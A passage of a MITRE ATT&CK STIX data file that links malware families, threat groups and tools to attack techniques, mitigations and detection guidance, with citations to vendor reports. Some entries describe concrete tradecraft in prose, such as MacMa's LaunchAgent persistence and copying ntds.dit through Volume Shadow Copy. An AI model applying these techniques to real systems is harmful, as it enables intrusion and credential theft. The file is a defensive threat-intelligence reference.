2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T20:08:03.239Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) has decrypted itself using a single-byte XOR scheme. Additionally, [Rising Sun](https://attack.mitre.org/software/S0448) can decrypt its configuration data at runtime.(Citation: McAfee Sharpshooter December 2018)\t","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f8c284a-faa2-4f58-be3b-e27f6ed84423","created":"2022-05-12T18:22:42.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET DazzleSpy Jan 2022","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"},{"source_name":"Objective-See MacMa Nov 2021","description":"Wardle, P. (2021, November 11). OSX.CDDS (OSX.MacMa). Retrieved June 30, 2022.","url":"https://objective-see.org/blog/blog_0x69.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-20T19:58:20.264Z","description":"[MacMa](https://attack.mitre.org/software/S1016) installs a `com.apple.softwareupdate.plist` file in the `/LaunchAgents` folder with the `RunAtLoad` value set to `true`. Upon user login, [MacMa](https://attack.mitre.org/software/S1016) is executed from `/var/root/.local/softwareupdate` with root privileges. Some variations also include the `LimitLoadToSessionType` key with the value `Aqua`, ensuring the [MacMa](https://attack.mitre.org/software/S1016) only runs when there is a logged in GUI user.(Citation: ESET DazzleSpy Jan 2022)(Citation: Objective-See MacMa Nov 2021)","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f8dca9b-86d0-4d97-98ed-c98240cc3933","created":"2020-03-13T20:26:46.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes Service Accounts","description":"Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.","url":"https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"},{"source_name":"Microsoft Remote Use of Local","description":"Margosis, A.. (2018, December 10). Remote Use of Local Accounts: LAPS Changes Everything. Retrieved March 13, 2020.","url":"https://blogs.technet.microsoft.com/secguide/2018/12/10/remote-use-of-local-accounts-laps-changes-everything/"},{"source_name":"TechNet Credential Theft","description":"Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn535501.aspx"},{"source_name":"TechNet Least Privilege","description":"Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487450.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-14T13:12:14.244Z","description":"Audit local accounts permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) Limit the usage of local administrator accounts to be used for day-to-day operations that may expose them to potential adversaries. \n\nFor example, audit the use of service accounts in Kubernetes, and avoid automatically granting them access to the Kubernetes API if this is not required.(Citation: Kubernetes Service Accounts) Implementing LAPS may also help prevent reuse of local administrator credentials across a domain.(Citation: Microsoft Remote Use of Local)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f8e76b5-603e-4557-8635-465d988a4072","created":"2023-02-08T19:47:08.768Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-08T19:47:08.768Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can take screenshots on compromised hosts.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4f90d1a5-4903-46d9-95b2-73bb118f8cb9","created":"2021-01-04T20:42:22.213Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) downloads a shellcode payload from a remote C2 server and loads it into memory.(Citation: ESET Industroyer)","modified":"2022-06-30T20:16:53.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f90f58d-de6a-41b8-8ffd-1db5da42db34","created":"2019-04-17T13:46:38.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.411Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) checks for the presence of Avast antivirus in the C:\\Program\\Files\\ folder. (Citation: Cofense Astaroth Sept 2018)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f922202-30c7-4894-adaf-ee358640f347","created":"2024-03-29T18:50:44.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T19:19:48.267Z","description":"Monitor and analyze the execution and arguments of the `AutoIt3.exe` and `AutoHotkey.exe` interpreters. Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if `AutoHotkey.exe` is the parent process for additional suspicious processes and activity.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f99a9ac-ccd8-4c9b-9893-0703ba60543c","created":"2023-05-17T19:14:19.364Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-17T19:14:19.364Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) has gained execution through malicious attachments.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4f9f57d7-27ae-4d0e-8c47-2696bcd245ce","created":"2024-09-25T14:06:54.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lacework LLMJacking 2024","description":"Lacework Labs. (2024, June 6). Detecting AI resource-hijacking with Composite Alerts. Retrieved September 25, 2024.","url":"https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"},{"source_name":"Permiso SES Abuse 2023","description":"Nathan Eades. (2023, January 12). SES-pionage. Retrieved September 25, 2024.","url":"https://permiso.io/blog/s/aws-ses-pionage-detecting-ses-abuse/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:40:36.647Z","description":"Monitor for changes to SaaS services, especially when quotas are raised or when new services are enabled. In AWS environments, watch for calls to Bedrock APIs like `PutUseCaseForModelAccess`, `PutFoundationModelEntitlement`, and `InvokeModel` and SES APIs like `UpdateAccountSendingEnabled`.(Citation: Lacework LLMJacking 2024)(Citation: Permiso SES Abuse 2023)","relationship_type":"detects","source_ref":"x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e","target_ref":"attack-pattern--924d273c-be0d-4d8d-af58-2dddb15ef1e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4f9fef8b-1ceb-4a10-b6ea-ff2a9680154f","type":"relationship","created":"2020-12-02T14:13:22.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro MacOS Backdoor November 2020","url":"https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html","description":"Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."},{"source_name":"sentinelone apt32 macOS backdoor 2020","url":"https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/","description":"Phil Stokes. (2020, December 2). APT32 Multi-stage macOS Trojan Innovates on Crimeware Scripting Technique. Retrieved September 13, 2021."}],"modified":"2021-09-22T23:37:06.723Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) uses a shell script as the main executable inside an app bundle and drops an embedded base64-encoded payload to the /tmp folder.(Citation: Trend Micro MacOS Backdoor November 2020)(Citation: sentinelone apt32 macOS backdoor 2020)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4faa4943-e54e-420d-a391-350ef629e766","created":"2019-09-03T18:32:49.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cary Esentutl","description":"Cary, M. (2018, December 6). Locked File Access Using ESENTUTL.exe. Retrieved September 5, 2019.","url":"https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/"},{"source_name":"LOLBAS Esentutl","description":"LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.","url":"https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-28T03:48:14.539Z","description":"[esentutl](https://attack.mitre.org/software/S0404) can copy `ntds.dit` using the Volume Shadow Copy service.(Citation: LOLBAS Esentutl)(Citation: Cary Esentutl)","relationship_type":"uses","source_ref":"tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fab8d06-e6fb-472f-91ee-f2fd29ef444e","type":"relationship","created":"2017-05-31T21:33:27.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf","description":"RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.","source_name":"RSA Shell Crew"}],"modified":"2020-04-17T21:11:30.416Z","description":"[Deep Panda](https://attack.mitre.org/groups/G0009) has used regsvr32.exe to execute a server variant of [Derusbi](https://attack.mitre.org/software/S0021) in victim networks.(Citation: RSA Shell Crew)","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fae9bb4-0f57-402c-8a44-c39c7a457b09","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da","target_ref":"attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4faef092-6721-408c-9135-70c6ad824a07","type":"relationship","created":"2020-11-10T19:48:19.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-10T19:48:19.629Z","description":"[Javali](https://attack.mitre.org/software/S0528) can monitor processes for open browsers and custom banking applications.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--64122557-5940-4271-9123-25bfc0c693db","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fb1988e-d8f5-41fb-9dde-7ad864acfd51","type":"relationship","created":"2021-10-12T21:13:50.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-10-12T21:13:50.378Z","description":"[Cuba](https://attack.mitre.org/software/S0625) has used cmd.exe /c and batch files for execution.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4fb5c14c-5a08-4116-bbb7-d6822649dfa0","created":"2022-01-12T14:23:46.970Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.990Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can communicate using custom TCP.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fb841dd-93d8-404a-8738-5fe19a53c730","type":"relationship","created":"2020-06-25T17:22:29.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Windshift August 2018","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf","description":"Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."},{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."},{"source_name":"objective-see windtail2 jan 2019","url":"https://objective-see.com/blog/blog_0x3D.html","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."}],"modified":"2020-06-25T17:22:29.070Z","description":"(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4fba775c-148d-4fc5-b56a-d5600b23654d","created":"2023-03-26T19:04:37.767Z","revoked":false,"external_references":[{"source_name":"ESET Gelsemium June 2021","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:04:37.767Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can store its components in the Registry.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fc9c0a5-952f-4726-8c53-39fbf40a67e3","type":"relationship","created":"2019-08-26T15:27:12.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Kimsuky Sept 2013","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019."},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-22T17:59:54.261Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used a modified TeamViewer client as a command and control channel.(Citation: Securelist Kimsuky Sept 2013)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fcc0674-fe6d-4977-9259-1832282a3997","type":"relationship","created":"2020-03-16T15:48:34.214Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-16T15:48:34.214Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fcdf0b6-23c7-406c-95ba-b335b05642e5","type":"relationship","created":"2021-10-01T01:57:31.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT TeamTNT Chimaera September 2020","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021."}],"modified":"2021-10-12T18:18:25.374Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has executed PowerShell commands in batch scripts.(Citation: ATT TeamTNT Chimaera September 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4fd205f2-656f-4211-b60b-510d53dfa8d3","created":"2021-09-29T15:41:18.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AhnLab Andariel Subgroup of Lazarus June 2018","description":"AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.","url":"https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"},{"source_name":"TrendMicro New Andariel Tactics July 2018","description":"Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021.","url":"https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T18:36:06.081Z","description":"[Andariel](https://attack.mitre.org/groups/G0138) has used watering hole attacks, often with zero-day exploits, to gain initial access to victims within a specific IP range.(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fd3ec25-00ed-48c1-af72-e2523959860e","type":"relationship","created":"2019-06-25T12:37:30.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-06-09T18:51:50.586Z","description":"Require signed binaries.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4fd56621-eb11-43b9-b90f-e6739af43660","created":"2022-10-18T14:49:35.526Z","revoked":false,"external_references":[{"source_name":"Tarrask scheduled task","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T14:49:35.526Z","description":"(Citation: Tarrask scheduled task)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fd63ec9-e2ad-4473-b9ed-90d7dfe378e8","type":"relationship","created":"2020-01-24T14:33:05.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:33:05.871Z","relationship_type":"revoked-by","source_ref":"attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4fd6854b-6caa-4cc2-b54a-a97530bf0fd7","created":"2022-05-27T14:30:02.047Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-05-27T14:30:02.047Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a","target_ref":"attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4fd6fe3b-e81b-46fc-974e-188a8c69d8fd","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-